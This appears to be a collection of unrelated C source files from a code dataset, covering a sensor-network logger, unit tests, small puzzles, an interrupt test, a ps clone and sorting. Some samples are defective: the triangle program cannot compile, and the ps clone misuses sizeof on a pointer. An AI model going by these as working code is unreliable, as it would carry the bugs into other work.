//printf("Temperature: %d, Rank: %d, Time: %ld, top: %d \n", recvMsg.temp, recvMsg.node_rank, recvMsg.timestamp, recvMsg.adjacentRanks[0]);
//compare(recvMsg.node_rank, recvMsg.temp, recvMsg.timestamp);
pthread_mutex_lock(&g_Mutex);
//printf("Loop : %d", loopEnd);
for (int j = 0; j<loopEnd; j++){
//printf("Satellite Rank: %d, Satellite Temp: %d\n", satelliteValues[i].sat_rank, satelliteValues[i].temp);
if (satelliteValues[j].sat_rank == recvMsg.node_rank) {
matchedValue.sat_rank = satelliteValues[j].sat_rank;
matchedValue.temp = satelliteValues[j].temp;
matchedValue.timestamp = satelliteValues[j].timestamp;
if (difftime(recvMsg.timestamp, satelliteValues[j].timestamp) < 50.0) {
break;
}
}
}
if(matchedValue.sat_rank != -1){
/*
printf("Satellite Rank: %d, Satellite Temp: %d\n", matchedValue.sat_rank, matchedValue.temp);
printf("Satellite time: %s, Node time: %s\n", ctime(&matchedValue.timestamp), ctime(&recvMsg.timestamp));
printf("Diff time: %f ", (difftime(recvMsg.timestamp, matchedValue.timestamp)));
*/
if((abs(matchedValue.temp-recvMsg.temp)) <= SENSOR_THRESH){
//printf("Temp diff: %d", (abs(matchedValue.temp-recvMsg.temp)));
alertType = 1;
}
else{
alertType = 0;
}
}
logRecord(i, recvMsg.node_rank, matchedValue.sat_rank, recvMsg.timestamp, recvMsg.temp, alertType, recvMsg.adjacentRanks, recvMsg.adjacentTemp, matchedValue.timestamp, matchedValue.temp, recvMsg.numOfNodes, recvMsg.colSize);
/*
printf("Node Rank: %d, Node Temp: %d\n", recvMsg.node_rank, recvMsg.temp);
printf("Alert type: %d\n\n", alertType);
*/
/*
pthread_mutex_unlock(&g_Mutex);
printf("Rank: %d\n", recvMsg.node_rank);
printf("WSN Alert Time: %s\n", ctime(&recvMsg.timestamp));
printf("Satellite Capture Time: %s\n", ctime(&satelliteValues[i].timestamp));
printf("Alert type: %d\n", alertType);
printf("WSN Temp: %d\n", recvMsg.temp);
printf("Satellite Temp: %d\n\n", satelliteValues[i].temp);
*/
pthread_mutex_unlock(&g_Mutex);
}
}
flag = 0;
}
for(int i = 0; i <= size; i++){
MPI_Send(&i, 1, MPI_INT, i, 0, world_comm);
}
pthread_state = 1;
//pthread_join(tid, NULL);
return 0;
}
void logRecord(int iter, int nodeRank, int satRank, time_t alertTime, int alertTemp, int alertType, int adjRanks[4], int adjTemps[4], time_t satTime, int satTemp, int numOfNodes, int columnSize){
FILE *logFile = fopen("log.txt", "a+");
double commTime;
time_t currentTime;
currentTime = time(NULL);
commTime = difftime(alertTime, satTime);
fprintf(logFile, "------------------------------------------------------\n");
fprintf(logFile, "Iteration : %d\n", iter);
fprintf(logFile, "Logged Time : %s\n", ctime(¤tTime));
fprintf(logFile, "Alert Reported Time : %s\n", ctime(&alertTime));
if(alertType){
fprintf(logFile, "Alert Type : %s\n", "True" );
}
else{
fprintf(logFile, "Alert Type : %s\n", "False" );
}
fprintf(logFile, "%s\t\t %s\t\t %s\t\t\n", "Reporting Node", "Coord", "Temp");
fprintf(logFile,"%d\t\t\t\t\t (%d, %d)\t\t %d\t\t\t\n\n", nodeRank, getCoordi(nodeRank,columnSize), getCoordj(nodeRank,columnSize) , alertTemp);
fprintf(logFile, "%s\t\t %s\t\t %s\t\t\n", "Adjacent Node", "Coord", "Temp");
for(int i = 0; i < 4; i++){
if(adjRanks[i] != -2){
fprintf(logFile,"%d\t\t\t\t\t (%d, %d)\t\t %d\t\t\t\n", adjRanks[i], getCoordi(adjRanks[i],columnSize), getCoordj(adjRanks[i],columnSize) , adjTemps[i]);
}
}
fprintf(logFile, "\n");
if(satRank != -1){
fprintf(logFile, "Infrared Satellite Record Status : %s\n\n", "FOUND");
fprintf(logFile, "Infrared Satellite Reporting Time : %s", ctime(&satTime));
fprintf(logFile, "Infrared Satellite Reporting (Celsius): %d\n", satTemp);
fprintf(logFile, "Infrared Satellite Coord : (%d, %d)\n\n", getCoordi(satRank,columnSize), getCoordj(satRank,columnSize));
fprintf(logFile, "Communication Time (seconds) : %.2f\n", commTime);
}
else{
fprintf(logFile, "Infrared Satellite Record Status : %s\n\n", "NOT FOUND FOR GIVEN COORDINATES");
}
fprintf(logFile, "Total Messages send between reporting node and base station : %d\n", 1);
fprintf(logFile, "Number of adjacent matches to reporting node : %d\n", numOfNodes);
fprintf(logFile, "------------------------------------------------------\n");
fclose(logFile);
}
int getCoordi(int rank, int columnSize){
int icoord = (int) rank/columnSize;
return icoord;
}
int getCoordj(int rank, int columnSize){
int jcoord = rank%columnSize;
return jcoord;
}
void *ThreadFunc(void *pArg){
int nnodes;
int iter = 0;
int* p = (int*)pArg;
nnodes = *p;
while(1){
if(pthread_state){
pthread_exit(NULL);
}
pthread_mutex_lock(&g_Mutex);
unsigned int seed = time(NULL) * (satelliteValueCount);
//printf("Count: %d\n", satelliteValueCount);
/*scaling the output of rand_r() to be in between MIN_RANGE and MAX_RANGE and assigning it to a position in the list */
satelliteValues[iter].temp = rand_r(&seed) % (MAX_TEMP_RANGE + 1 - MIN_TEMP_RANGE) + MIN_TEMP_RANGE;
satelliteValues[iter].sat_rank = rand_r(&seed) % (nnodes + 1);
time(&satelliteValues[iter].timestamp);
//printf("Temp: %d\n", satelliteValues[iter].temp);
//printf("Rank: %d\n", satelliteValues[iter].sat_rank);
//printf("Time: %s\n\n", ctime(&satelliteValues[iter].timestamp));
satelliteValueCount++;
iter++;
if(satelliteValueCount == 100) {
iter = 0;
}
pthread_mutex_unlock(&g_Mutex);
sleep(1);
}
return 0;
}
int compare(int rank, int temp, time_t timestamp) {
//printf("Rank: %d", rank);
pthread_mutex_lock(&g_Mutex);
for (int i = 0; i<100; i++){
if (satelliteValues[i].sat_rank == rank) {
printf("Satellite time: %ld, Node time: %ld\n", satelliteValues[i].timestamp, timestamp);
printf("Rank: %d, Time diff: %f\n\n", rank, difftime(timestamp, satelliteValues[i].timestamp));
//printf("Rank1: %d, Rank2: %d\n", rank, satelliteValues[i].sat_rank);
}
}
pthread_mutex_unlock(&g_Mutex);
return 0;
}
|
C
|
/*
** EPITECH PROJECT, 2018
** Test_criterion
** File description:
** Test de save_map
*/
#include <criterion/criterion.h>
#include <lib.h>
#include "map.h"
#include "file.h"
Test(test_save_map, Test_entry_NULL, .timeout = 0.5, .exit_code = 0)
{
cr_assert_eq(save_map("./test_save_map1", NULL, 0.01), -1);
}
Test(test_save_map, Test_entry_1, .timeout = 0.5, .exit_code = 0)
{
file_t *file = load_file_in_mem("./test_create_map_from_file1");
float **map = create_map_from_file(file);
cr_assert_eq(save_map("./test_save_map1", map, 0.01), 0);
free_map(map);
free_file_in_mem(file);
file = load_file_in_mem("./test_save_map1");
cr_assert_str_eq(file->line, "1 3");
cr_assert_str_eq(file->next->line, "0.10 1.00 0.20 ");
free_file_in_mem(file);
}
Test(test_save_map, Test_entry_2, .timeout = 0.5, .exit_code = 0)
{
file_t *file = load_file_in_mem("./test_create_map_from_file1");
float **map = create_map_from_file(file);
cr_assert_eq(save_map("", map, 0.01), -1);
free_map(map);
free_file_in_mem(file);
file = load_file_in_mem("./test_save_map1");
cr_assert_str_eq(file->line, "1 3");
cr_assert_str_eq(file->next->line, "0.10 1.00 0.20 ");
free_file_in_mem(file);
}
Test(test_save_map, Test_entry_MAX, .timeout = 0.5, .exit_code = 0)
{
file_t *file = load_file_in_mem("./test_create_map_from_file6");
float **map = create_map_from_file(file);
cr_assert_eq(save_map("./test_save_map2", map, 0.01), 0);
free_map(map);
free_file_in_mem(file);
file = load_file_in_mem("./test_save_map2");
cr_assert_str_eq(file->line, "2 3");
cr_assert_str_eq(file->next->line, "0.10 1.00 0.20 ");
cr_assert_str_eq(file->next->next->line, "0.30 5.00 0.60 ");
free_file_in_mem(file);
}
|
C
|
// Little Black Jack Game made by Hung Nguyen for fun (3-4 hours)
#include <time.h>
#include "blackjack.h"
int main(void)
{
char name[20];
srand(time(0));
getName(name);
while (1)
{
welcomeUser(name);
blackJack(name);
if (playAgain() == 0)
break;
}
return 0;
}
|
C
|
#include<stdio.h>
#include<string.h>
int main()
{
int l,one,in_num,N,mod;
while(scanf("%d",&in_num)!=EOF)
{
N=mod=one=1;
while(mod!=0)
{
if(N<in_num)
{
N=(N*10+1);
one++;
}
else
{
mod=(N%in_num);
N=mod;
}
}
printf("%d\n",one);
}
return 0;
}
|
C
|
/*
e_interrupt_test.c
Copyright (C) 2012 Adapteva, Inc.
Contributed by Wenlin Song <wsong@wpi.edu>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program, see the file COPYING. If not, see
<http://www.gnu.org/licenses/>.
*/
// This is the DEVICE side. By setting the specific bit of ILAT register
// to 1 will make the core go into the interrupt. By attaching interrupt
// handler, make the core to print out "I am interrupt!"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "e_lib.h"
char outbuf[4096] SECTION("shared_dram");
void timer_isr(void);
int main(void)
{
e_coreid_t coreid;
unsigned name_irq[8] = {E_SW_EXCEPTION, E_MEM_FAULT, E_TIMER0_INT, E_TIMER1_INT, E_MESSAGE_INT, E_DMA0_INT, E_DMA1_INT, E_USER_INT};
unsigned *po;
char event [8][20];
strcpy (event[0], "E_SW_EXCEPTION");
strcpy (event[1], "E_MEM_FAULT");
strcpy (event[2], "E_TIMER0_INT");
strcpy (event[3], "E_TIMER1_INT");
strcpy (event[4], "E_MESSAGE_INT");
strcpy (event[5], "E_DMA0_INT");
strcpy (event[6], "E_DMA1_INT");
strcpy (event[7], "E_USER_INT");
po = 0x00006000;
// Who am I? Query the CoreID from hardware.
coreid = e_get_coreid();
// Test E_SW_EXCEPTION interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[0], timer_isr);
/*
// Set the ivt entry address
ivt = 0x4;
// Set the relative branch offset.
*ivt = (((unsigned) timer_isr - (unsigned) ivt) >> 1) << 8;
// Add the instruction opcode.
*ivt = *ivt | B_OPCODE;
*/
// print out the name of the interrupt
sprintf(outbuf, "Interrupt %s: \n", event[0]);
// Clear the IMASK
e_irq_mask(name_irq[0], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
//e_reg_write(E_REG_ILATST, (unsigned)0x00000002);
e_irq_set(po[0] ,po[1], name_irq[0]);
// Clear the ILAT and the Set the IMASK
//e_reg_write(E_REG_ILATCL, (unsigned)0x00000002);
e_irq_clear(po[0], po[1], name_irq[0]);
e_irq_mask(name_irq[0], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_MEM_FAULT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[1], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[1]);
// Clear the IMASK
e_irq_mask(name_irq[1], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000004);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000004);
e_irq_mask(name_irq[1], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_TIMER0_INT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[2], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[2]);
// Clear the IMASK
e_irq_mask(name_irq[2], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000008);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000008);
e_irq_mask(name_irq[2], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_TIMER1_INT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[3], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[3]);
// Clear the IMASK
e_irq_mask(name_irq[3], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000010);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000010);
e_irq_mask(name_irq[3], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_MESSAGE_INT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[4], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[4]);
// Clear the IMASK
e_irq_mask(name_irq[4], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000020);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000020);
e_irq_mask(name_irq[4], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_DMA0_INT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[5], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[5]);
// Clear the IMASK
e_irq_mask(name_irq[5], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000040);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000040);
e_irq_mask(name_irq[5], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_DMA1_INT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[6], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[6]);
// Clear the IMASK
e_irq_mask(name_irq[6], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000080);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000080);
e_irq_mask(name_irq[6], E_TRUE);
e_irq_global_mask(E_TRUE);
// Test E_USER_INT interrupt
// Attach the ISR with this interrupt
e_irq_attach(name_irq[7], timer_isr);
// print out the name of the interrupt
sprintf(outbuf+strlen(outbuf), "Interrupt %s: \n", event[7]);
// Clear the IMASK
e_irq_mask(name_irq[7], E_FALSE);
// Enable the global interrupt
e_irq_global_mask(E_FALSE);
// Set the ILAT
e_reg_write(E_REG_ILATST, (unsigned)0x00000200);
// Clear the ILAT and the Set the IMASK
e_reg_write(E_REG_ILATCL, (unsigned)0x00000200);
e_irq_mask(name_irq[7], E_TRUE);
e_irq_global_mask(E_TRUE);
return 0;
}
void __attribute__((interrupt)) timer_isr(void)
{
sprintf(outbuf + strlen(outbuf),"I am interrupt !\n");
return;
}
|
C
|
#include <stdio.h>
void rotate_left(unsigned int *number, int bits)
{
printf("%d\n", ((*number) << bits) | (*number) >> (32 - bits));
}
void rotate_right(unsigned int *number, int bits)
{
printf("%d\n", ((*number) >> bits | (*number) << (32 - bits)));
}
int main()
{
unsigned int number = 0x80000000;
int bits = 1;
rotate_left(&number, bits);
number = 0x00000001;
bits = 16;
rotate_right(&number, bits);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
typedef struct punto_{
float x;
float y;
float z;
}punto;
typedef struct Triangulo_{
punto p1;
punto p2;
punto p3;
}Triangulo;
int triangulos[3];
float calcularPerimetro;
float calcularArea;
FILE leerDatos;
int numLineasArchivos;
int mayorArea;
int mayorPerimetro;
int main(int argc, char *argv[])
{
int i,j;
Triangulo * pTriangulo;
pTriangulo = (Triangulo *) malloc(sizeof(Triangulo)*3);
for(i = 0; i<3;i++)
{
printf("\nValor de x: ", (j + 1));
fscanf(f,"%f %f %f;",&(pTriangulo + i)->punto.p1.x, &(pTriangulo + i)->punto.p1.y,&(pTriangulo + i)->punto.p1.z);
printf("\nValor de y: ", (j + 1));
scanf("%f",&(pTriangulo + i)->punto.p2);
printf("\nValor de z: ", (j + 1));
scanf("%f",&(pTriangulo + i)->punto.p3);
printf("\nTriangulo %d:",i);
do{
printf("\n %f;",&(pTriangulo + i)->puntos[i]);
}while(i==2);
}
free(pTriangulo);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>
#include <linux/kdev_t.h>
#include <time.h>
void getstat(char *fpath,char *stat);
int getCmdline(char *fpath,int pid,char *buf);
void getTty(char *fpath,char *tty);
void getCPUandTIME(char *fpath,char *resultString,char *TIME);
void getMEM(char *fpath,char *memperc,unsigned long *vsz, long *rss);
void getSTART(char *fpath,char *start);
int main (int argc, char *argv[])
{
int a_flag=0,u_flag=0,x_flag=0;
if(argc==2){
// option
if(strchr(argv[1],'a')!=NULL)
a_flag =1;
if(strchr(argv[1],'u')!=NULL)
u_flag =1;
if(strchr(argv[1],'x')!=NULL)
x_flag =1;
}
//프로세스 정보를 가져오기 위해서 /proc/[PID]/stat파일을 읽어들이고 " "기준으로 파싱.
DIR *dir; // /proc/pid/를 가리킬 변수
struct dirent *entry;
struct stat statbuf;
char tempPath[256];
int pid;
struct passwd *user,*currentuser;
uid_t current,UID;
char username[32];//u
char MEM[64];//u
char cmdline[300000];
char tty[64];
unsigned long vsz; //u
long rss; //u
char START[256];//u
char STAT[256];
char CPU[256]; //u
char TIME[256];
//pps
if((!a_flag)&&(!u_flag)&&(!x_flag))
printf(" %5s %7s %7s %s\n","PID","TTY","TIME","CMD");
//pps aux
else if(a_flag&&u_flag&&x_flag)
printf("%-7s %7s %7s %7s %7s %7s %4s %5s %5s %8s %s\n","USER","PID","%%CPU","%%MEM","VSZ","RSS","TTY","STAT","START","TIME","COMMAND");
//pps a
else if(a_flag&&(!u_flag)&&(!x_flag))
printf(" %5s %7s %5s %7s %s\n","PID","TTY","STAT","TIME","COMMAND");
//pps au
else if((!x_flag)&&u_flag&&a_flag)
printf("%-7s %7s %7s %7s %7s %7s %4s %5s %5s %8s %s\n","USER","PID","%CPU","%MEM","VSZ","RSS","TTY","STAT","START","TIME","COMMAND");
//pps x
else if(x_flag&&(!a_flag)&&(!u_flag))
printf(" %5s %7s %5s %7s %s\n","PID","TTY","STAT","TIME","COMMAND");
//pps u
else if(u_flag && (!x_flag) && (!a_flag))
printf("%-7s %7s %7s %7s %7s %7s %4s %5s %5s %8s %s\n","USER","PID","%CPU","%MEM","VSZ","RSS","TTY","STAT","START","TIME","COMMAND");
//pps ax
else if(a_flag && x_flag && (!u_flag))
printf(" %5s %7s %5s %7s %s\n","PID","TTY","STAT","TIME","COMMAND");
//pps ux
else if(u_flag && x_flag && (!a_flag))
printf("%-7s %7s %7s %7s %7s %7s %4s %5s %5s %8s %s\n","USER","PID","%CPU","%MEM","VSZ","RSS","TTY","STAT","START","TIME","COMMAND");
dir = opendir("/proc");
while((entry= readdir(dir)) != NULL)
{
stat(entry ->d_name, &statbuf);
if(!S_ISDIR(statbuf.st_mode))
continue;
pid = atoi(entry->d_name);
if(pid <= 0) continue;
currentuser = getpwuid(getuid());
current = geteuid();
char currentUser[32];
strcpy(currentUser,currentuser->pw_name);
//username
user = getpwuid(statbuf.st_uid);
strcpy(username,user->pw_name);
UID = user -> pw_uid;
sprintf(tempPath,"/proc/%d/cmdline",pid);
//cmdline
getCmdline(tempPath,pid,cmdline); //정의한 함수
sprintf(tempPath,"/proc/%d/stat",pid);
//STAT = stat + (</N)+(L)+(S)+(l)+(+)
getstat(tempPath,STAT);
//tty
getTty(tempPath,tty);
//TIME(cpu time) & %CPU
getCPUandTIME(tempPath,CPU,TIME);
//%MEM & VSZ & RSS
getMEM(tempPath,MEM,&vsz,&rss);
//START
getSTART(tempPath,START);
if(!strcmp(cmdline,"")) continue;
//pps aux
if(a_flag&&u_flag&&x_flag)
{
printf("%-7s %7d %7s %7s %7ld %7ld %4s %5s %5s %8s %s\n",username,pid,CPU,MEM,vsz,rss,tty,STAT,START,TIME,cmdline);
}
//pps
else if((!a_flag)&&(!u_flag)&&(!x_flag))
{
if((strcmp(currentUser,username)==0)&&(STAT[0]=='R'))
printf(" %5d %7s %7s %s\n",pid,tty,TIME,cmdline);
}
//pps x
else if(x_flag&&(!a_flag)&&(!u_flag))
{
if(strcmp(currentUser,username)==0)
printf(" %5d %7s %5s %7s %s\n",pid,tty,STAT,TIME,cmdline);
}
//pps au
else if((!x_flag)&&u_flag&&a_flag)
{
if(tty[0] != '?')
printf("%-7s %7d %7s %7s %7ld %7ld %4s %5s %5s %8s %s\n",username,pid,CPU,MEM,vsz,rss,tty,STAT,START,TIME,cmdline);
}
//pps u
else if(u_flag && (!x_flag) && (!a_flag))
{
if((strcmp(currentUser,username)==0)&&(tty[0] != '?'))
printf("%-7s %7d %7s %7s %7ld %7ld %4s %5s %5s %8s %s\n",username,pid,CPU,MEM,vsz,rss,tty,STAT,START,TIME,cmdline);
}
//pps ax
else if(a_flag && x_flag && (!u_flag))
{
printf(" %5d %7s %5s %7s %s\n",pid,tty,STAT,TIME,cmdline);
}
//pps ux
else if(u_flag && x_flag && (!a_flag))
{
if(strcmp(currentUser,username)==0)
printf("%-7s %7d %7s %7s %7ld %7ld %4s %5s %5s %8s %s\n",username,pid,CPU,MEM,vsz,rss,tty,STAT,START,TIME,cmdline);
}
//pps a
else if(a_flag&&(!u_flag)&&(!x_flag))
{
if(tty[0] != '?')
printf(" %5d %7s %5s %7s %s\n",pid,tty,STAT,TIME,cmdline);
}
}
closedir(dir);
}
int getCmdline(char *fpath,int pid,char *buf)
{
FILE *fp;
int i;
fp = fopen(fpath,"r");
memset(buf,0,sizeof(buf));
char temp[1024];
memset(temp,0,sizeof(temp));
fgets(temp,sizeof(temp),fp);
//printf("temp:%s\n",temp);
strcpy(buf,temp);
if(strcmp(temp,"")==0)
{
FILE *fp2;
char *ptr;
char tempPath[256];
sprintf(tempPath,"/proc/%d/stat",pid);
fp2 = fopen(tempPath,"r");
char Temp[1024];
fgets(Temp,sizeof(Temp),fp2);
ptr = strtok(Temp," ");
ptr = strtok(NULL," ");
strcpy(buf,ptr);
}
fclose(fp);
}
void getstat(char *fpath,char *stat)
{
FILE *fp;
int num=0;
int i;
char buf[1024];
fp = fopen(fpath,"r");
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
//공백으로 구분
char *ptr = strtok(buf," ");
int pid = atoi(ptr);
pid_t pgid = getpgid(pid);
//printf("pid=%d ",pid);
int ppid,session,nice,num_threads;
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
//state
char S = ptr[0];
stat[num++] = S;
//printf("state=%c ",S);
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
session = atoi(ptr);
for(i=6;i<19;i++)
ptr = strtok(NULL," ");
nice = atoi(ptr);
ptr = strtok(NULL," ");
num_threads = atoi(ptr);
//printf("ppid(%d)ses(%d)nice(%d)num_thread(%d)\n",ppid,session,nice,num_threads);
//nice : < or N
if(nice <0)
{
char N = '<';
stat[num++] = N;
}
else if(nice >0)
{
char N = 'N';
stat[num++] = N;
}
//L
FILE *fp2;
char tempPath[256] ;
sprintf(tempPath,"/proc/%d/status",pid);
fp2 = fopen(tempPath,"r");
char buff[1024];
char vml[256];
memset(buff,0,sizeof(buff));
int l_flag=0;
while(!feof(fp2))
{
fgets(buff,sizeof(buff),fp2);
char *finder;
if((finder = strstr(buff,"VmLck:"))!= NULL)
{
strcpy(vml,finder);
l_flag=1;
break;
}
else
continue;
}
if(l_flag ==1)
{
char *ptr2;
ptr2 = strtok(vml," ");
if(ptr ==NULL)
printf("ptr2 NULL!!\n");
int vmlck = atoi(ptr2);
//printf("vmlck=%d\n",vmlck);
if(vmlck >0)
stat[num++] = 'L';
}
//S
if(pid == session)
{
stat[num++] = 's';
}
//l
if(num_threads>=2)
{
stat[num++] = 'l';
}
//+
if(pid == pgid)
{
stat[num++] = '+';
}
stat[num] = '\0';
//printf("stat : %s\n",stat);
fclose(fp);
fclose(fp2);
}
void getTty(char *fpath,char *tty)
{
FILE *fp;
int i;
char buf[64];
fp = fopen(fpath,"r");
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
//공백으로구분
char *ptr = strtok(buf," ");
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
ptr = strtok(NULL," ");
int tty_nr = atoi(ptr);
int major = MAJOR(tty_nr);
int minor = MINOR(tty_nr);
sprintf(tty,"tty%d",minor);
if(minor == 0)
sprintf(tty,"?");
if(major ==136)
sprintf(tty,"pts/%d",minor);
fclose(fp);
}
void getCPUandTIME(char *fpath,char *resultString,char *TIME)
{
//uptime():OS의 uptime을 구해온다.
int seconds =0;
FILE *fp;
char buf[36];
double stime_os;
double idletime;
if ((fp = fopen("/proc/uptime", "r")) == NULL)
{
perror("fopen error : ");
exit(0);
}
fgets(buf, 36, fp);
sscanf(buf, "%lf %lf", &stime_os, &idletime);
fclose(fp);
seconds = (int)stime_os;
int i;
char buff[1024];
unsigned long utime,stime,starttime;
int pcpu=0;
char timebuf[256];
int h,m,s;
fp = fopen(fpath,"r");
memset(buff,0,sizeof(buff));
fgets(buff,sizeof(buff),fp);
char *ptr1 = strtok(buff," ");
for(i=1;i<=14;i++)
ptr1 = strtok(NULL," ");
utime = atol(ptr1);
ptr1 = strtok(NULL," ");
stime= atol(ptr1);
for(i=15;i<=22;i++)
ptr1 = strtok(NULL," ");
starttime = atol(ptr1);
unsigned long long total_time = utime + stime;
unsigned long cputime = (utime+stime)/100;
h = cputime/3600;
m = (cputime - h*3600)/60;
s = (cputime- h*3600 - m*60);
sprintf(TIME,"%02d:%02d:%02d",h,m,s);
//**계산**//
seconds = seconds - (int)(starttime/100.0);
if(seconds)
{
pcpu = (int)(total_time * 100ULL/100.0)/seconds;
}
sprintf(resultString,"%2d.%0d",pcpu/10,pcpu%10);
fclose(fp);
}
void getMEM(char *fpath,char *memperc,unsigned long *vsz, long *rss)
{
FILE *fp;
int i;
char buf[1024];
fp = fopen(fpath,"r");
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
//공백으로 구분
char *ptr=strtok(buf," ");
for(i=1;i<=22;i++)
ptr = strtok(NULL," ");
unsigned long VSZ = atol(ptr);
VSZ= VSZ/1024;
*vsz = VSZ;
ptr = strtok(NULL," ");
long RSS = atol(ptr);
RSS = RSS*4;
*rss = RSS;
fclose(fp);
fp = fopen("/proc/meminfo","r");
char mem[1024];
memset(mem,0,sizeof(mem));
fgets(mem,sizeof(mem),fp);
ptr = strtok(mem," ");
ptr = strtok(NULL," ");
unsigned long memTotal = atol(ptr);
memTotal = memTotal/100;
sprintf(memperc,"%.1f",(double)RSS/memTotal);
fclose(fp);
}
void getSTART(char *fpath,char *start)
{
FILE *fp;
int i;
char buf[1024];
char *ptr;
time_t now = time(NULL);
struct tm *tm_now = localtime(&now);
char now_y[64],diff_y[64];
char now_md[64],diff_md[64];
strftime(now_y,64,"%Y",tm_now);
strftime(now_md,64,"%b%d",tm_now);
fp = fopen(fpath,"r");
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
ptr = strtok(buf," ");
for(i=1;i<22;i++)
{
ptr = strtok(NULL," ");
}
int startTime = atoi(ptr);
startTime = startTime/100;
FILE *fp2;
char buff[1024];
fp2 = fopen("/proc/uptime","r");
fgets(buff,sizeof(buff),fp2);
char *ptr2;
ptr2 = strtok(buff," ");
int uptime = atoi(ptr2);
time_t diff = now - (uptime - startTime);
struct tm *tm = localtime(&diff);
char result[64];
strftime(diff_y,64,"%Y",tm);
strftime(diff_md,64,"%b%d",tm);
// printf("n%s d%s n%s d%s\n",now_y,diff_y,now_md,diff_md);
if(strcmp(now_y,diff_y)!=0)
{//년도
strcpy(start,diff_y);
}
else if(strcmp(now_md,diff_md)!=0)
{//월일
strcpy(start,diff_md);
}
else
{//시:분
strftime(result,sizeof(result),"%R",tm);
strcpy(start,result);
}
}
|
C
|
#include<stdio.h>
void main()
{
int n,a=1,c,i;
printf("enter the num:");
scanf("%d",&n);
c=n/2;
for(i=1;i<=c+1;i++)
{
if(a<=n)
a=a*2;
else
break;
}
printf("%d nearest greater power of 2 is = %d",n,a);
}
|
C
|
/* A CIL generated test with no successors is generated for this program, however
that statement is unreachable */
#include <stdio.h>
int foo() {
int number;
switch(number) {
case 1:
return 1;
case 2:
return -5;
default:
return 0;
}
}
int main() {
int err;
err = foo();
printf("%d", err);
err = 0; // overwrite
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
void insertion(int[],int);
int main()
{
int len;
int i;
int vectorPrueba[11]={2,5,8,3,9,4,5,10,56,12,7};
//len = sizeof(vectorPrueba)/sizeof(vectorPrueba[0]); // MEDIR LARGO DE ARRAY
//printf("%d tamanio\n",len);
insertion(vectorPrueba,11);
for(i=0;i<11;i++)
{
printf("%d--", vectorPrueba[i]);
}
return 0;
}
void insertion(int data[], int len)
{
int i, j;
int temp;
for(i=1;i<len;i++)
{
temp= data[i];
j= i-1;
while(j>=0 && temp<data[j])
{
data[j+1] = data [j];
j--;
}
data[j+1]= temp;
}
}
|
C
|
#include<stdio.h>
#include<string.h>
#include<ctype.h>
#define max 5
typedef struct
{
char idno[13];
char name[50];
char gender;
char resident;
float cgpa;
char emailaddr[33];
} student;
void populate_records(student arr[])
{
int i;
